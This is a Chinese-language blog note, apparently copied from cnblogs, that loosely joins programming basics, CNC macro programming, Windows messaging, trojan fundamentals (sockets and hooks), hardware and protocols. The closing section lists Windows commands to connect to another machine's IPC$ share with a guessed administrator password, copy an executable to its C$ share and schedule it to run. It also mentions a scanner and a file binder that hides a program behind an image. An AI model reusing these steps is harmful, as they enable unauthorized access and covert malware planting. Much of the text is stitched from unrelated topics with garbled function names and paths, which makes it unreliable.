编程原理

编程原理:

计算机本质上是一大堆或开或关的小型电子开关。编程原理就是通过设置这些开关的不同组合,使计算机做一些事情。

编程语言:

计算机使用一种只包含1和0的简单语言,其中1表示“开”,0表示“关”。尝试用计算机自己的语言与其交谈就好像尝试用摩尔斯电报码与朋友交谈一样。

一种称为“编译器”的专用程序接受用编程语言编写的指令。并将这些指令转换为机器语言。

宏程序编

用户宏程序编程是用变量作为数据进行编程, 变量在编程中充当替代物的角色, 已经在程序中赋值的变量, 在后续程序中可被重新赋值, 原来的值被新的所覆盖。 利用控制系统可对变量值进行计算和变量可以被重新赋值的特性, 使变量随程序的循环自动增加并计算, 以实现加工过程的自动循环。 在进行复杂非圆曲线的加工中, 系统可以自动算出整个非圆曲线上的一系列坐标点的值, 从而用很短的直线或圆弧线段逼近理论轮廓曲线, 满足零件设计精度的要求。
程序中以 G65 指令调用宏程序, 宏程序中仍以 M99 指令返回上一级程序。 宏程序可以嵌套调用, 最多4 层。 但固定循环不计入层数。 宏程序的调用格式是 G65 (或 G66) P_L_ [参数]。

监控程序

Windows线程是进程具体任务的执行者,主要通过结构体MSG 来进行消息分类,并向其创建的对象和其他线 程传递消息,某线程创建的对象的消息由某线程管理,,线程向自己创建的对象与向其他线程创建的对象传递消息的机制有所不同 ;Windows系统是通过原始输入线程来 管理硬件输入消息的。 

木马底层

(1)Socket编程:首先是服务端和客户端分别创建套接字 socketo。然后服务器将本机 IP 地址和某端口号绑定 ibndo ,接着监听 ilsteno。如果有客户端连接 conneero ,则接收 aceepto ,从而建立和客户端的连接。接下来就是客户端请求与服务端应答的数据交互过程 wirteo 和 reado。 最后都要调用 doseo 来关闭套接字,释放所占用的系统资源。其中服务器端和客户端有严格的启动顺序:服务器端必须先于客户端启动,监听(listen)来 自客户端的连接,然后客户端才能连接服务器端。
(2)钩子编程:钩子函数是应用程序提供给系统 DLL 或其它 DLL 调用的函数,一般用于截获消息、获取系 统信息或处理异步事件。应用程序把钩子函数的地址指针告诉 DLL ,而 DLL 在适当的时候会调用该函数。钩子实际上是处理消息的程序段,是 windows 消息处理机制的一个 平台,通过系统调用,把它挂入系统 。实现了钩子的应用程序就可以监视指定窗口的某种消息。每当特定的消息发出,在没有到达目的窗口前,钩子就先捕获该消息,优先获得对消息的控制权。这时钩子函数既可以改变该消息,也可以不作处理而继续传递该消息,还可 以强制结束消息的传递。

硬件

硬件通常是指构成计算机的设备实体。一台计算机的硬件系统应由五个基本部分组成:运算器、控制器、存储器、输入和输出设备。现代计算机还包括中央处理器和总线设备。这五大部分通过系统总线完成指令所传达的操作,当计算机在接受指令后,由控制器指挥,将数据从输入设备传送到存储器存放,再由控制器将需要参加运算的数据传送到运算器,由运算器进行处理,处理后的结果由输出设备输出。
 
网络协议:是对数据格式和计算机之间交换数据时必须遵守的规则的正式描述。简单的说,网络中的计算机要能够互相顺利的通信,就必须讲同样的语言,语言就相当于协议,它分为Ethernet、NetBEUIIPX/SPX以及TCP/IP协议
 
 
cmd与其他电脑建立连接:net use \10.0.02ipc$ 123 /user:adminstrator
这条命令就与ip:10.0.0.2;用户名:adminstrator ; 密码:123的电脑建立了连接
ntscan变态扫码软件
文件捆绑器,打开时图片,实际打开了捆绑文件
复制本地文件到已连接电脑进入文件目录:copy QQ.exe \10.0.0.2c$
就把本机的文件复制给10.0.0.2电脑的c盘中了
给10.0.0.2建立一个计划任务: at \10.0.0.2 21:07 \10.0.0.2c$QQ.exe
 
原文地址:https://www.cnblogs.com/ziyandeyanhuo/p/11401156.html